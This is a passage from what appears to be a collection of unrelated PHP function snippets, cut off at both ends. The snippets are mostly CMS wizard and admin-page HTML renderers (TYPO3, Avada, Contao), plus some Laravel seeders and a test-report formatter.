$this->bgCol(2) . '><td>' . $this->fw('<strong>NEW FIELD:</strong>') . '</td></tr>';\n\t\t\t$subContent = $this->renderField($ffPrefix . '[fields][' . $k . ']', $v, 1);\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw(\n\t\t\t\t\t'<BR><BR>Load preset fields: <BR>' . $selPresetBox\n\t\t\t\t) . '</td></tr>';\n\t\t}\n\n\t\t/* HOOK: Place a hook here, so additional output can be integrated */\n\t\tif (is_array($GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['kickstarter']['add_cat_tables'])) {\n\t\t\tforeach ($GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['kickstarter']['add_cat_tables'] as $_funcRef) {\n\t\t\t\t$lines = t3lib_div::callUserFunction($_funcRef, $lines, $this);\n\t\t\t}\n\t\t}\n\n\t\t$content = '<table border=0 cellpadding=2 cellspacing=2>' . implode('', $lines) . '</table>';\n\n\t\treturn $content;\n\t}", "public function outputSetupForm() {\n\t\t$this->_directFormHtml( 'webinarjamstudio' );\n\t}", "function render_wizard() {\n\t\t$lines = array();\n\n\t\t$action = explode(':', $this->wizard->modData['wizAction']);\n\t\tif ($action[0] == 'edit') {\n\t\t\t$this->regNewEntry($this->sectionID, $action[1]);\n\t\t\t$lines = $this->catHeaderLines(\n\t\t\t\t$lines, $this->sectionID, $this->wizard->options[$this->sectionID], '&nbsp;', $action[1]\n\t\t\t);\n\t\t\t$piConf = $this->wizard->wizArray[$this->sectionID][$action[1]];\n\t\t\t$ffPrefix = '[' . $this->sectionID . '][' . $action[1] . ']';\n\n\t\t}\n\n\n\t\t// Header field\n\t\t$optValues = array(\n\t\t\t'tt_content' => 'tt_content (Content)',\n\t\t\t'fe_users' => 'fe_users (Frontend Users)',\n\t\t\t'fe_groups' => 'fe_groups (Frontend Groups)',\n\t\t\t'be_users' => 'be_users (Backend Users)',\n\t\t\t'be_groups' => 'be_groups (Backend Groups)',\n\t\t\t'pages' => 'pages (Pages)',\n\t\t);\n\n\t\tforeach ($GLOBALS['TCA'] as $tablename => $tableTCA) {\n\t\t\tif (!$optValues[$tablename]) {\n\t\t\t\t$optValues[$tablename] = $tablename . ' (' . $GLOBALS['LANG']->sL($tableTCA['ctrl']['title']) . ')';\n\t\t\t}\n\t\t}\n\t\tasort($optValues);\n\n\t\t$subContent = '<strong>Which table:<br /></strong>' .\n\t\t\t$this->renderSelectBox($ffPrefix . '[which_table]', $piConf['which_table'], $optValues) .\n\t\t\t$this->whatIsThis('Select the table which should be extended with these extra fields.');\n\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) .\n\t\t\t'<input type=\"hidden\" name=\"' . $this->piFieldName('wizArray_upd') . $ffPrefix . '[title]\" value=\"'\n\t\t\t. ($piConf['which_table'] ? $optValues[$piConf['which_table']] : '') . '\" /></td></tr>';\n\n\n\t\t// PRESETS:\n\t\t$selPresetBox = $this->presetBox($piConf['fields']);\n\n\t\t// Fields\n\t\t$c = array(0);\n\t\t$this->usedNames = array();\n\t\tif (is_array($piConf['fields'])) {\n\t\t\t$piConf['fields'] = $this->cleanFieldsAndDoCommands(\n\t\t\t\t$piConf['fields'], $this->sectionID, $action[1], $piConf['which_table'] ? $piConf['which_table'] : ''\n\t\t\t);\n\n\t\t\t// Do it for real...\n\t\t\treset($piConf['fields']);\n\t\t\twhile (list($k, $v) = each($piConf['fields'])) {\n\t\t\t\t$c[] = $k;\n\t\t\t\t$subContent = $this->renderField($ffPrefix . '[fields][' . $k . ']', $v);\n\t\t\t\t$lines[] = '<tr' . $this->bgCol(2) . '><td>' . $this->fw(\n\t\t\t\t\t\t'<strong>FIELD:</strong> <em>' . $v['fieldname'] . '</em>'\n\t\t\t\t\t) . '</td></tr>';\n\t\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\t\t\t}\n\t\t}\n\n\n\t\t// New field:\n\t\t$k = max($c) + 1;\n\t\t$v = array();\n\t\t$lines[] = '<tr' . $this->bgCol(2) . '><td>' . $this->fw('<strong>NEW FIELD:</strong>') . '</td></tr>';\n\t\t$subContent = $this->renderField($ffPrefix . '[fields][' . $k . ']', $v, 1);\n\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\n\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw(\n\t\t\t\t'<br /><br />Load preset fields: <br />' . $selPresetBox\n\t\t\t) . '</td></tr>';\n\n\t\t/* HOOK: Place a hook here, so additional output can be integrated */\n\t\tif (is_array($GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['kickstarter']['add_cat_fields'])) {\n\t\t\tforeach ($GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['kickstarter']['add_cat_fields'] as $_funcRef) {\n\t\t\t\t$lines = t3lib_div::callUserFunction($_funcRef, $lines, $this);\n\t\t\t}\n\t\t}\n\n\t\t$content = '<table border=\"0\" cellpadding=\"2\" cellspacing=\"2\">' . implode('', $lines) . '</table>';\n\t\treturn $content;\n\t}", "function wizardHTML($arrTable)\t{\n\t\t$strOutput = $this->wizardHeader();\n\t\t$strOutput .= $this->groupsHTML($arrTable);\n\t\t$strOutput .= $this->wizardFooter();\n\t\treturn $strOutput;\n\t}", "private function get_inputs_output_html() {\n\t\t$i = 0;\n\t\t$j = 0;\n\n\t\t$addon_title = $this->addon_raw['title'];\n\t\t$fieldsets = array();\n\t\tforeach ($this->options as $key => $option) {\n\t\t\t\t$fieldsets[$key] = $option;\n\t\t}\n\n\t\t$output = '';\n\n\t\tif(count((array) $fieldsets)) {\n\t\t\t$output .= '<div class=\"sp-pagebuilder-fieldset\">';\n\t\t\t$output .= '<ul class=\"sp-pagebuilder-nav sp-pagebuilder-nav-tabs\">';\n\t\t\tforeach ( $fieldsets as $key => $value ) {\n\t\t\t\t$output .= '<li class=\"'. (( $i === 0 )?\"active\":\"\" ) .'\"><a href=\"#sp-pagebuilder-tab-'. $key .'\" aria-controls=\"'. $key .'\" data-toggle=\"tab\">'. ucfirst( $key ) .'</a></li>';\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t$output .= '</ul>';\n\t\t\t$output .= '<div class=\"tab-content\">';\n\t\t\tforeach ( $fieldsets as $key => $value ) {\n\t\t\t\t$output .= '<div class=\"tab-pane '. (( $j === 0 )? \"active\":\"\" ) .'\" id=\"sp-pagebuilder-tab-'. $key .'\">';\n\t\t\t\t$output .= $this->get_input_fields( $key, $addon_title );\n\t\t\t\t$output .= '</div>';\n\n\t\t\t\t$j++;\n\t\t\t}\n\t\t\t$output .= '</div>';\n\t\t\t$output .= '</div>';\n\t\t}\n\n\t\treturn $output;\n\t}", "public function setup_wizard_template() {\n\t\t$current_step = intval( $this->step );\n\t\t?>\n\t\t<!DOCTYPE html>\n\t\t<html xmlns=\"http://www.w3.org/1999/xhtml\" <?php language_attributes(); ?>>\n\t\t\t<head>\n\t\t\t\t<meta name=\"viewport\" content=\"width=device-width\" />\n\t\t\t\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n\t\t\t\t<title ><?php esc_html_e( 'Avada Theme Option Migration', 'Avada' ); ?></title >\n\t\t\t\t<?php do_action( 'admin_print_styles' ); ?>\n\t\t\t\t<?php do_action( 'admin_head' ); ?>\n\t\t\t\t<style>\n\t\t\t\t.avada-setup {\n\t\t\t\t\tpadding: 3% 20%;\n\t\t\t\t\tbackground-color: #f2f2f2;\n\t\t\t\t\tfont-family: \"Noto Sans\", Roboto, \"Open Sans\", -apple-system, BlinkMacSystemFont, \"Segoe UI\", \"Oxygen-Sans\", \"Ubuntu\", \"Cantarell\", \"Helvetica Neue\", sans-serif;\n\t\t\t\t\tfont-weight:300;\n\t\t\t\t\tfont-size: 1.1em;\n\t\t\t\t}\n\t\t\t\t.update-content {\n\t\t\t\t\tmax-width: 1150px;\n\t\t\t\t\tmargin: auto;\n\t\t\t\t}\n\t\t\t\t.avada-logo {\n\t\t\t\t\tmargin-bottom: 25px;\n\t\t\t\t\ttext-align: center;\n\t\t\t\t}\n\t\t\t\t.avada-logo img {\n\t\t\t\t\tmax-width: 226.5px;\n\t\t\t\t\theight: auto;\n\t\t\t\t\tvertical-align: bottom;\n\t\t\t\t}\n\t\t\t\t.avada-version {\n\t\t\t\t\tvertical-align: bottom;\n\t\t\t\t}\n\t\t\t\t.avada-version-inner {\n\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\tmargin-left: 20px;\n\t\t\t\t\tpadding: 5px 10px;\n\t\t\t\t\tbackground-color: #65bc7b;\n\t\t\t\t\t-webkit-border-radius: 3px;\n\t\t\t\t\tborder-radius: 3px;\n\t\t\t\t\tcolor: #fff;\n\t\t\t\t}\n\t\t\t\t.avada-content-wrapper {\n\t\t\t\t\t-webkit-border-radius: 3px;\n\t\t\t\t\tborder-radius: 3px;\n\t\t\t\t\t-webkit-box-shadow: 1px 1px 3px 1px rgba(0,0,0,.2);\n\t\t\t\t\tbox-shadow: 1px 1px 3px 1px rgba(0,0,0,.2);\n\t\t\t\t}\n\t\t\t\t.avada-welcome-msg {\n\t\t\t\t\tpadding: 25px 35px;\n\t\t\t\t\tline-height: 1.6em;\n\t\t\t\t\tbackground-color: #65bc7b;\n\t\t\t\t\tcolor: #fff;\n\t\t\t\t\tfont-style: italic;\n\t\t\t\t\ttext-align: center;\n\t\t\t\t}\n\t\t\t\t.avada-migration-link {\n\t\t\t\t\tcolor: #fff;\n\t\t\t\t}\n\t\t\t\t.avada-setup-content {\n\t\t\t\t\tpadding: 30px 10%;\n\t\t\t\t\tbackground: #fff;\n\t\t\t\t}\n\t\t\t\t.avada-update-progress-bar {\n\t\t\t\t\theight: 20px;\n\t\t\t\t\tposition: relative;\n\t\t\t\t\tbackground: #F0F4C3;\n\t\t\t\t\tmargin: 35px 0;\n\t\t\t\t\tpadding: 1px;\n\t\t\t\t}\n\t\t\t\t.avada-update-progress-bar > span {\n\t\t\t\t\tdisplay: block;\n\t\t\t\t\theight: 100%;\n\t\t\t\t\tbackground-color: #8bc34a;\n\t\t\t\t\tposition: relative;\n\t\t\t\t\toverflow: hidden;\n\t\t\t\t}\n\t\t\t\t.tasks-list {\n\t\t\t\t\tpadding: 0;\n\t\t\t\t\tlist-style: none;\n\t\t\t\t\t<?php if ( 3 < $this->steps ) : ?>\n\t\t\t\t\t\t-webkit-column-count: 2;\n\t\t\t\t\t\t-moz-column-count: 2;\n\t\t\t\t\t\tcolumn-count: 2;\n\t\t\t\t\t<?php endif; ?>\n\t\t\t\t}\n\t\t\t\t.tasks-list li .content {\n\t\t\t\t\tcolor: #333;\n\t\t\t\t}\n\t\t\t\t.tasks-list li {\n\t\t\t\t\tcolor: #f2f2f2;\n\t\t\t\t}\n\t\t\t\t.tasks-list li:before {\n\t\t\t\t\tvertical-align: middle;\n\t\t\t\t\tfont-family: dashicons;\n\t\t\t\t\tcontent: \"\\f147\";\n\t\t\t\t\tfont-size: 1.4em\n\t\t\t\t}\n\t\t\t\t.tasks-list li.done {\n\t\t\t\t\tcolor: #65bc7b;\n\t\t\t\t}\n\t\t\t\t.tasks-list li.doing {\n\t\t\t\t\tcolor: #000;\n\t\t\t\t}\n\t\t\t\t.avada-save-options {\n\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\tmargin: 2em 0 0.67em 0;\n\t\t\t\t\tpadding: 1em 2em;\n\t\t\t\t\tbackground-color: #65bc7b;\n\t\t\t\t\tcolor: #fff;\n\t\t\t\t\ttext-decoration: none;\n\t\t\t\t\t-webkit-border-radius: 3px;\n\t\t\t\t\tborder-radius: 3px;\n\t\t\t\t\t-webkit-transition: all 0.3s;\n\t\t\t\t\t-moz-transition: all 0.3s;\n\t\t\t\t\t-ms-transition: all 0.3s;\n\t\t\t\t\ttransition: all 0.3s;\n\t\t\t\t}\n\t\t\t\t.avada-save-options.needs-update {\n\t\t\t\t\tbackground-color: #ef5350;\n\t\t\t\t}\n\t\t\t\t.avada-save-options:hover {\n\t\t\t\t\tbackground-color: #5aa86c;\n\t\t\t\t}\n\t\t\t\t.avada-save-options.needs-update:hover {\n\t\t\t\t\tbackground-color: #f44336;\n\t\t\t\t}\n\t\t\t\t.avada-footer {\n\t\t\t\t\tpadding: 25px 35px;\n\t\t\t\t\tbackground: #f2f2f2;\n\t\t\t\t\tfont-size: 0.8em;\n\t\t\t\t\ttext-align: right;\n\t\t\t\t}\n\t\t\t\t.avada-themefusion-link {\n\t\t\t\t\tcolor: #000;\n\t\t\t\t\ttext-decoration: none;\n\t\t\t\t}\n\t\t\t\t.avada-separator {\n\t\t\t\t\tpadding: 0 10px;\n\t\t\t\t}\n\t\t\t\t.avada-heart {\n\t\t\t\t\tpadding-left: 5px;\n\t\t\t\t\tvertical-align: middle;\n\t\t\t\t}\n\t\t\t\t.avada-heart:after {\n\t\t\t\t\tfont-family: dashicons;\n\t\t\t\t\tcontent: \"\\f487\";\n\t\t\t\t}\n\t\t\t\t</style>\n\t\t\t</head>\n\t\t\t<?php $version = Avada::get_theme_version(); ?>\n\t\t\t<body class=\"avada-setup wp-core-ui\">\n\t\t\t\t<div class=\"update-content\">\n\t\t\t\t\t<div class=\"avada-logo\">\n\t\t\t\t\t\t<img src=\"<?php echo esc_url_raw( Avada::$template_dir_url ); ?>/assets/images/logo_migration.png\" alt=\"<?php esc_html_e( 'Avada Logo', 'Avada' ); ?>\" width=\"453\" height=\"95\">\n\t\t\t\t\t\t<span class=\"avada-version\">\n\t\t\t\t\t\t\t<span class=\"avada-version-inner\"><?php echo esc_attr( $version ); ?></span>\n\t\t\t\t\t\t</span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"avada-content-wrapper\">\n\t\t\t\t\t\t<div class=\"avada-welcome-msg\">\n\t\t\t\t\t\t\t<?php\n\n\t\t\t\t\t\t\tif ( ! empty( $this->available_languages ) ) {\n\t\t\t\t\t\t\t\t/* translators: Version number. */\n\t\t\t\t\t\t\t\tprintf( esc_html__( 'We have an amazing new update in store for you! Avada %s includes our completely new Theme Options Panel and the brand new Fusion Builder. To enjoy the full experience, two primary conversion steps need to be performed. First your Theme Options database entries need to be converted (sequentially for each language, if you have a multi-lingual site). In a second step your shortcodes will be converted for the new builder. Thank you for choosing Avada!', 'Avada' ), esc_attr( $version ) );\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t/* translators: Version number. */\n\t\t\t\t\t\t\t\tprintf( esc_html__( 'We have an amazing new update in store for you! Avada %s includes our completely new Theme Options Panel and the brand new Fusion Builder. To enjoy the full experience, two primary conversion steps need to be performed. First your Theme Options database entries need to be converted. In a second step your shortcodes will be converted for the new builder. Thank you for choosing Avada!', 'Avada' ), esc_attr( $version ) );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"avada-setup-content\">\n\t\t\t\t\t\t\t<h1 style=\"font-size:1.3em;\">\n\t\t\t\t\t\t\t\t<?php esc_html_e( 'Updating Avada Database Entries', 'Avada' ); ?>\n\t\t\t\t\t\t\t</h1>\n\t\t\t\t\t\t\t<?php if ( ! empty( $this->available_languages ) ) : ?>\n\t\t\t\t\t\t\t\t<?php /* translators: Language label. */ ?>\n\t\t\t\t\t\t\t\t<?php printf( esc_html__( 'Currently converting language: %s', 'Avada' ), '<strong>' . esc_attr( $this->active_language ) . '</strong>' ); ?>\n\t\t\t\t\t\t\t<?php endif; ?>\n\t\t\t\t\t\t\t<?php if ( $current_step >= count( $this->steps ) ) : ?>\n\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Done!', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t<?php elseif ( $current_step >= ( count( $this->steps ) * 0.75 ) ) : ?>\n\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Almost there...', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t<?php elseif ( $current_step >= ( count( $this->steps ) * 0.4 ) ) : ?>\n\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Halfway there... Patience Padawan, Patience.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t<?php else : ?>\n\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'This may take a few minutes, please wait.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t<?php endif; ?>\n\n\t\t\t\t\t\t\t<?php if ( ! empty( $this->available_languages ) && 1 < count( $this->available_languages ) ) : ?>\n\t\t\t\t\t\t\t\t<?php $current_lang_step = 0; ?>\n\t\t\t\t\t\t\t\t<?php $current_lang_step = array_search( $this->active_language, $this->available_languages ) + 1; ?>\n\t\t\t\t\t\t\t\t<div class=\"avada-update-progress-bar\"><span style=\"width: <?php echo intval( 100 * $current_lang_step / count( $this->available_languages ) ); ?>%\"></span></div>\n\t\t\t\t\t\t\t\t<?php /* translators: %1$s, %2$s: Numbers. */ ?>\n\t\t\t\t\t\t\t\t<p><?php printf( esc_html__( 'Converting language: %1$s of %2$s.', 'Avada' ), absint( $current_lang_step ), count( $this->available_languages ) ); ?></p>\n\t\t\t\t\t\t\t<?php endif; ?>\n\n\t\t\t\t\t\t\t<?php if ( $current_step <= count( $this->steps ) && isset( $this->steps[ $this->step ] ) ) : ?>\n\t\t\t\t\t\t\t\t<div class=\"avada-update-progress-bar\"><span style=\"width: <?php echo intval( 100 * ( $current_step + 1 ) / count( $this->steps ) ); ?>%\"></span></div>\n\t\t\t\t\t\t\t\t<?php /* translators: %1$s, %2$s: Numbers. */ ?>\n\t\t\t\t\t\t\t\t<p><?php printf( esc_html__( 'Updating Avada Database options: step %1$s of %2$s.', 'Avada' ), intval( $this->step + 1 ), count( $this->steps ) ); ?></p>\n\t\t\t\t\t\t\t\t<ul class=\"tasks-list\">\n\t\t\t\t\t\t\t\t\t<?php foreach ( $this->steps as $key => $step ) : ?>\n\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t$li_class = '';\n\t\t\t\t\t\t\t\t\t\tif ( $key <= $current_step - 1 ) {\n\t\t\t\t\t\t\t\t\t\t\t$li_class = 'done';\n\t\t\t\t\t\t\t\t\t\t} elseif ( $key == $current_step ) {\n\t\t\t\t\t\t\t\t\t\t\t$li_class = 'doing';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t<li class=\"<?php echo esc_attr( $li_class ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"content\"><?php echo esc_html( $step['description'] ); ?></span>\n\t\t\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t\t<?php endforeach; ?>\n\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t<?php else : ?>\n\t\t\t\t\t\t\t\t<?php if ( empty( $this->available_languages ) || count( $this->available_languages ) == array_search( $this->active_language, $this->available_languages ) + 1 ) : ?>\n\t\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Congratulations, Theme Options database enrties were successfully converted.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'For best experience, please clear your browser cache once.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Dynamic-CSS caches have been auto reset.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t\t<?php endif; ?>\n\t\t\t\t\t\t\t<?php endif; ?>\n\n\t\t\t\t\t\t\t<?php if ( intval( $this->step ) >= count( $this->steps ) ) : ?>\n\t\t\t\t\t\t\t\t<?php if ( empty( $this->available_languages ) || count( $this->available_languages ) == array_search( $this->active_language, $this->available_languages ) + 1 ) : ?>\n\t\t\t\t\t\t\t\t\t<a class=\"avada-save-options\" href=\"<?php echo esc_url_raw( admin_url( 'index.php?fusion_builder_migrate=1&ver=500' ) ); ?>\">\n\t\t\t\t\t\t\t\t\t\t<?php esc_attr_e( 'Take Me To Shortcode Conversion', 'Avada' ); ?>\n\t\t\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t\t\t<?php endif; ?>\n\t\t\t\t\t\t\t<?php endif; ?>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<?php /* translators: (heart) icon. */ ?>\n\t\t\t\t\t\t<div class=\"avada-footer\"><a class=\"avada-themefusion-link\" href=\"https://theme-fusion.com\" target=\"_blank\" rel=\"noopener noreferrer\" title=\"ThemeFusion\">ThemeFusion</a><span class=\"avada-separator\">|</span><?php printf( esc_html__( 'Created with %s', 'Avada' ), '<span class=\"avada-heart\"></span>' ); ?></div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<?php echo $this->redirect_script(); // phpcs:ignore WordPress.Security.EscapeOutput ?>\n\t\t\t\t</div>\n\t\t\t</body>\n\t\t</html>\n\t\t<?php\n\t}", "function training_page_html() {\n return t('This is the landing page of the Training module');\n}", "function run()\n\t{\n\t\trequire_code('setupwizard');\n\n\t\t$collapse_zones=post_param_integer('collapse_user_zones',0)==1;\n\n\t\t$installprofile=post_param('installprofile','');\n\t\tif ($installprofile!='')\n\t\t{\n\t\t\trequire_code('hooks/modules/admin_setupwizard_installprofiles/'.$installprofile);\n\t\t\t$object=object_factory('Hook_admin_setupwizard_installprofiles_'.$installprofile);\n\t\t\t$installprofileblocks=$object->default_blocks();\n\t\t\t$block_options=$object->block_options();\n\t\t} else\n\t\t{\n\t\t\t$installprofileblocks=array();\n\t\t\t$block_options=array();\n\t\t}\n\n\t\t$page_structure=_get_zone_pages($installprofileblocks,$block_options,$collapse_zones,$installprofile);\n\n\t\t$zone_structure=array_pop($page_structure);\n\n\t\t$preview=do_template('SETUPWIZARD_BLOCK_PREVIEW',array('LEFT'=>$zone_structure['left'],'RIGHT'=>$zone_structure['right'],'START'=>$zone_structure['start']));\n\n\t\treturn array($preview,NULL);\n\t}", "public function index()\n\t{\n\t\t// $steps = Step::all();\n\t\t$steps = Step::with('task')->get();\n\t\treturn View::make('step.index',compact('steps'));\n\t}", "public function generate()\n\t{\n\t\t$GLOBALS['TL_JAVASCRIPT'][] = 'system/modules/course_builder_admintools/html/courseattemptswizard.js';\n\t\t$GLOBALS['TL_CSS'][] = 'system/modules/course_builder_admintools/html/courseattemptswizard.css';\n\n\t\t$arrButtons = array('delete');\n\n\t\t\n\t\t// Make sure there is at least an empty array\n\t\tif (!is_array($this->varValue) || count($this->varValue) == 0)\n\t\t{\n\t\t\t$this->varValue[0] = array('select'=>'', 'text'=>'');\n\t\t}\n\t\t\t\t\n\t\t$wizard = ($this->wizard) ? '<div class=\"tl_wizard\">' . $this->wizard . '</div>' : '';\n\t\t// Add label\n\t\t$return .= '<div class=\"tl_multitextwizard\">' . $wizard . '\n\t <table cellspacing=\"0\" cellpadding=\"0\" id=\"ctrl_'.$this->strId.'\" summary=\"Text wizard\">';\n\t\t$hasTitles = array_key_exists('buttonTitles', $this->arrConfiguration) && is_array($this->arrConfiguration['buttonTitles']);\n\t\t\n\t\t\n\t\t// Add input fields\n\t\tforeach ($this->varValue as $i=>$client)\n\t\t{\n\t\t\t$return .= '<tr><td>'.$this->varValue[$i]['firstname'].'</td><td>'.$this->varValue[$i]['lastname'].'</td>';\n\t\t\t\n\t\t\t$return .= '<td style=\"padding-right: 5px;\">';\n\t\t\t\n\t\t\tforeach($this->varValue[$i]['attempts'] as $attempt)\n\t\t\t{\n\t\t\t$return .= '<span>' . $attempt['name'] .' <input type=\"text\" name=\"'.$this->strId.'['.$i.']['.$attempt['id'].']\" class=\"tl_attempts\" value=\"'.specialchars($attempt['attempts']).'\"' . $this->getAttributes() . ' /></span>';\n\t\t\t}\n\t\t\t\n\t\t\t$return .= '</td>';\n\t\t\t\n\t\t\t$return .= '<td style=\"white-space:nowrap;\">';\n\t\t\t// Add buttons\n\t\t\tforeach ($arrButtons as $button)\n\t\t\t{\n\t\t\t\t$buttontitle = ($hasTitles && array_key_exists($button, $this->arrConfiguration['buttonTitles'])) ? $this->arrConfiguration['buttonTitles'][$button] : $GLOBALS['TL_LANG'][$this->strTable][$button][0];\n\t\t\t\t$return .= '<a href=\"'.$this->addToUrl('&amp;'.$strCommand.'='.$button.'&amp;cid='.$i.'&amp;id='.$this->currentRecord).'\" title=\"'.specialchars($buttontitle).'\" onclick=\"CourseAttemptsWizard.selectvalueWizard(this, \\''.$button.'\\', \\'ctrl_'.$this->strId.'\\'); return false;\">'.$this->generateImage($button.'.gif', $buttontitle, 'class=\"tl_listwizard_img\"').'</a> ';\n\t\t\t}\n\t\t\t$return .= '</td></tr>';\n\t\t}\n\n\t\treturn $return.'\n </table></div>';\n\t}", "public function run()\n {\n PageContent::factory()->aboutUs()->state([\n 'content' => 'D\\'more Event Planner is an Event Planning Software is cutting-edge tool which will allow the client all the resources and visual aids for their event planning. They will be able to play with decoration themes, listen to theme music, design invitations, thank-you cards, and RSVP cards, use the interactive planning calendar, and much more. This software will bring your event into the millennium with cutting edge technology that is designed to save time and money.'\n ])->create();\n PageContent::factory()->aboutUs()->state([\n 'content' => 'We also provide a Step-by-Step Guide in preparation to your event which include a calendar to map out the event, a step-by-step guide on what is needed for and how to put together a successful, worry-free event, resource information, popular refreshments with recipes, games, and tips to put their event in the record books. The events available include birthdays for all ages, meetings, retreats, parties, vacations, and special occasion celebrations such as graduations, holidays, showers, weddings, and receptions.'\n ])->create();\n }", "public function run()\n {\n\t\tPageElement::truncate();\n\t\t\n\t\t$faker = \\Faker\\Factory::create();\n\n\t\tPageElement::create([\n\t\t\t'page_id' => 2,\n\t\t\t'location' => 'content',\n\t\t\t'controller' => '',\n\t\t\t'action' => 'test',\n\t\t\t'order' => 0\n\t\t]);\n\n\t\tPageElement::create([\n\t\t\t'page_id' => 2,\n\t\t\t'location' => 'content',\n\t\t\t'controller' => '',\n\t\t\t'action' => '',\n\t\t\t'order' => 1\n\t\t]);\n\n\t\tPageElement::create([\n\t\t\t'page_id' => 2,\n\t\t\t'location' => 'sidebar',\n\t\t\t'controller' => '',\n\t\t\t'action' => '',\n\t\t\t'order' => 0\n\t\t]);\n\n\t\tPageElement::create([\n\t\t\t'page_id' => 1,\n\t\t\t'location' => 'content',\n\t\t\t'controller' => '',\n\t\t\t'action' => '',\n\t\t\t'order' => 0\n\t\t]);\n\n\t\tPageElement::create([\n\t\t\t'page_id' => 1,\n\t\t\t'location' => 'sidebar',\n\t\t\t'controller' => '',\n\t\t\t'action' => '',\n\t\t\t'order' => 0\n\t\t]);\n\n }", "public function generateHtml()\n {\n return $this->presenter->getView()->generateHtml();\n }", "function getHtmlStep1Form()\r\n\t{\r\n\t\treturn $this->getAdminTableHtml( 1 );\r\n\t}", "public function genBodyHtml() {\n $gsi_name = $this->gsi->getFirstName() . \" \" . $this->gsi->getLastName(); \n $section_number = $this->section->getSectionNumber();\n $num_exams = count($this->exams);\n $stat_blink = new StatSetBlink($this->sectionStatSet);\n\n // Construct html\n $html = \"<div id='exam-section'>\";\n $html .= \"<div id='section-number'><h1>Exam Scores for CHEM 125/126 Section {$section_number}</h1></div>\";\n $html .= \"<a href='\".HomeApi::ENDPOINT.\"'>Back to Class Data</a>\";\n $html .= \"<div id='gsi-name'><h3>GSI: {$gsi_name}</h3></div>\";\n $html .= \"<div id='num-exam-fraction'>Number of Exams: \".$num_exams .\" / \". $this->section->getNumStudents().\"</div>\";\n $html .= $stat_blink->forge();\n $html .= $this->genAddExamHtml();\n\n $html .= \"<div id='exam-results'>\";\n $html .= \"<h3>Exam Scores</h3>\";\n $html .= \"<table id='exam-results-table'>\";\n for ($i = 0; $i < $num_exams; ++$i) {\n $exam = $this->exams[$i];\n $order = $i + 1;\n \n $html .= \"<tr class='exam-row'>\";\n // $html .= \"<td class='order'>{$order}</td>\"; \n $html .= \"<td class='p1-score'>\".$exam->getP1Score().\"</td>\";\n $html .= \"<td class='p2-score'>\".$exam->getP2Score().\"</td>\";\n $html .= \"<td class='p3-score'>\".$exam->getP3Score().\"</td>\";\n $html .= \"<td class='p4-score'>\".$exam->getP4Score().\"</td>\";\n $html .= \"<td class='total-score'>\".$exam->getTotalScore().\"</td>\";\n $html .= \"<td class='delete-exam'>\";\n $html .= \"<form name='\".GradebookApi::REMOVE_FORM.\"' action='\".GradebookApi::genSectionUrl($this->section).\"' method='\".GradebookApi::REMOVE_HTTP_TYPE.\"'>\";\n $html .= \"<input type='hidden' name='\".GradebookApi::OP_KEY.\"' value='\".GradebookApi::REMOVE_OP_VALUE.\"' />\";\n $html .= \"<input type='hidden' name='\".GradebookApi::EXAM_ID_KEY.\"' value='\".$exam->getId().\"' />\";\n $html .= \"<input type='hidden' name='\".GradebookApi::SECTION_ID_KEY.\"' value='\".$this->section->getId().\"' />\";\n $html .= \"<input type='submit' value='Remove Exam' />\";\n $html .= \"</form>\";\n $html .= \"</tr>\";\n }\n $html .= \"</ul>\";\n $html .= \"</div>\";\n $html .= \"</div>\";\n\n return $html;\n }", "public function flushHTML(Event $event)\n {\n $statistics = $event->getSubject()->get('behat.statistics_collector');\n $html = '<div class=\"statistics ' . ($statistics->isPassed() ? 'passed' : 'failed') . '\">';\n\n $html .= '<p class=\"scenarios\">';\n $html .= $this->translator->transChoice(\n '{0} No scenarios|{1} 1 scenario|]1,Inf] %1% scenarios'\n , $statistics->getScenariosCount()\n , array('%1%' => $statistics->getScenariosCount())\n );\n $statuses = array();\n foreach ($statistics->getScenariosStatuses() as $status => $count) {\n if ($count) {\n $statuses[] = $this->translator->transChoice(\n \"[1,Inf] %1% $status\"\n , $count\n , array('%1%' => $count)\n );\n }\n }\n $html .= count($statuses) ? ' ' . sprintf('(%s)', 